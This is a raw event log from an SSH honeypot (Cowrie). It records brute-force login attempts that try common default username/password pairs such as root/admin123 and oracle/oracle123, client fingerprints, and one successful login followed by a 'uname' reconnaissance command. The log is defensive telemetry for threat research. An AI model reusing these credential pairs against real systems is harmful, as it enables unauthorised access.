{"eventid":"cowrie.login.failed","username":"root","password":"admin123","message":"login attempt [root/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:12:05.145529Z","src_ip":"192.109.200.237","session":"c6582c365a8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:12:06.236761Z","src_ip":"192.109.200.237","session":"c6582c365a8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.243.246","src_port":35132,"dst_ip":"10.17.0.5","dst_port":22,"session":"3d339a3401a9","protocol":"ssh","message":"New connection: 192.169.243.246:35132 (10.17.0.5:22) [session: 3d339a3401a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:12:07.065692Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:12:07.070571Z","src_ip":"192.169.243.246","session":"3d339a3401a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:12:07.146103Z","src_ip":"192.169.243.246","session":"3d339a3401a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rajesh","password":"rajesh","message":"login attempt [rajesh/rajesh] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:12:07.475708Z","src_ip":"192.169.243.246","session":"3d339a3401a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":35498,"dst_ip":"159.203.135.109","dst_port":22,"session":"c0c51d8237c5","protocol":"ssh","message":"New connection: 192.109.200.237:35498 (159.203.135.109:22) [session: c0c51d8237c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:12:08.184288Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:12:08.189268Z","src_ip":"192.109.200.237","session":"c0c51d8237c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:12:08.276139Z","src_ip":"192.109.200.237","session":"c0c51d8237c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"huawei@123","message":"login attempt [root/huawei@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:12:08.522024Z","src_ip":"192.109.200.237","session":"c0c51d8237c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:12:08.551153Z","src_ip":"192.169.243.246","session":"3d339a3401a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:12:09.607389Z","src_ip":"192.109.200.237","session":"c0c51d8237c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":60734,"dst_ip":"159.203.135.109","dst_port":22,"session":"775f878d52ce","protocol":"ssh","message":"New connection: 192.109.200.237:60734 (159.203.135.109:22) [session: 775f878d52ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:12:11.548048Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:12:11.553133Z","src_ip":"192.109.200.237","session":"775f878d52ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:12:11.635764Z","src_ip":"192.109.200.237","session":"775f878d52ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ivan","password":"ivan","message":"login attempt [ivan/ivan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:12:11.883401Z","src_ip":"192.109.200.237","session":"775f878d52ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:12:12.969610Z","src_ip":"192.109.200.237","session":"775f878d52ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":60748,"dst_ip":"159.203.135.109","dst_port":22,"session":"e905d6a9d3e3","protocol":"ssh","message":"New connection: 192.109.200.237:60748 (159.203.135.109:22) [session: e905d6a9d3e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:12:15.140641Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:12:15.150503Z","src_ip":"192.109.200.237","session":"e905d6a9d3e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:12:15.232905Z","src_ip":"192.109.200.237","session":"e905d6a9d3e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"123456","message":"login attempt [ftpuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:12:15.480423Z","src_ip":"192.109.200.237","session":"e905d6a9d3e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:12:16.566254Z","src_ip":"192.109.200.237","session":"e905d6a9d3e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.98533844947815,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:12:17.144096Z","src_ip":"209.127.178.212","session":"7900b10e24b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":60760,"dst_ip":"159.203.135.109","dst_port":22,"session":"0d0e55174816","protocol":"ssh","message":"New connection: 192.109.200.237:60760 (159.203.135.109:22) [session: 0d0e55174816]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:12:18.350692Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:12:18.355654Z","src_ip":"192.109.200.237","session":"0d0e55174816","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:12:18.438159Z","src_ip":"192.109.200.237","session":"0d0e55174816","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle123","message":"login attempt [oracle/oracle123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:12:18.686674Z","src_ip":"192.109.200.237","session":"0d0e55174816","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:12:18.899500Z","src_ip":"192.109.200.237","session":"0d0e55174816","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:12:18.903672Z","src_ip":"192.109.200.237","session":"0d0e55174816","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:12:18.989072Z","src_ip":"192.109.200.237","session":"0d0e55174816","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:12:18.994112Z","src_ip":"192.109.200.237","session":"0d0e55174816","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":33522,"dst_ip":"159.203.135.109","dst_port":22,"session":"95535728f558","protocol":"ssh","message":"New connection: 192.109.200.237:33522 (159.203.135.109:22) [session: 95535728f558]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:12:21.745438Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:12:21.750501Z","src_ip":"192.109.200.237","session":"95535728f558","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:12:21.833472Z","src_ip":"192.109.200.237","session":"95535728f558","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"1234567","message":"login attempt [user1/1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:12:22.083918Z","src_ip":"192.109.200.237","session":"95535728f558","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:12:23.169482Z","src_ip":"192.109.200.237","session":"95535728f558","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":33544,"dst_ip":"159.203.135.109","dst_port":22,"session":"1062a0592311","protocol":"ssh","message":"New connection: 192.109.200.237:33544 (159.203.135.109:22) [session: 1062a0592311]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:12:25.297267Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:12:25.307627Z","src_ip":"192.109.200.237","session":"1062a0592311","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:12:25.391343Z","src_ip":"192.109.200.237","session":"1062a0592311","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www","password":"www","message":"login attempt [www/www] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:12:25.638231Z","src_ip":"192.109.200.237","session":"1062a0592311","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:12:26.724735Z","src_ip":"192.109.200.237","session":"1062a0592311","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":33562,"dst_ip":"159.203.135.109","dst_port":22,"session":"655b93395368","protocol":"ssh","message":"New connection: 192.109.200.237:33562 (159.203.135.109:22) [session: 655b93395368]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:12:28.583039Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:12:28.587036Z","src_ip":"192.109.200.237","session":"655b93395368","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:12:28.668527Z","src_ip":"192.109.200.237","session":"655b93395368","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ZAQ!2wsx","message":"login attempt [root/ZAQ!2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:12:28.916427Z","src_ip":"192.109.200.237","session":"655b93395368","protocol":"ssh"}
